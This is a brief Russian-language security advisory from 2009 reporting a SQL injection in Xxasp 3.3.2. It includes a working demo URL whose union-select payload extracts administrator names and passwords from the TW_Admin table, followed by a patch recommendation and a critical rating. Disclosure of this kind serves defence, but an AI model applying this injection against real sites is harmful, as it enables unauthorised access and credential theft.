Втр, 2009-12-01 13:19

Xxasp 3.3.2 SQL Injection

Уязвимость позволяет удаленному пользователю произвести SQL иньекцию
Демо:
# demo.link/disk/ShareList.asp?Action=Main&SearchType=SearchFileType&SearchCondition=rar' and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,AdminName,AdminPwd,14,15,16,17 from TW_Admin where '1'='1

Решение: 
Установите исправление с офф.сайта.
состояние: 
критическое
exploit: 
да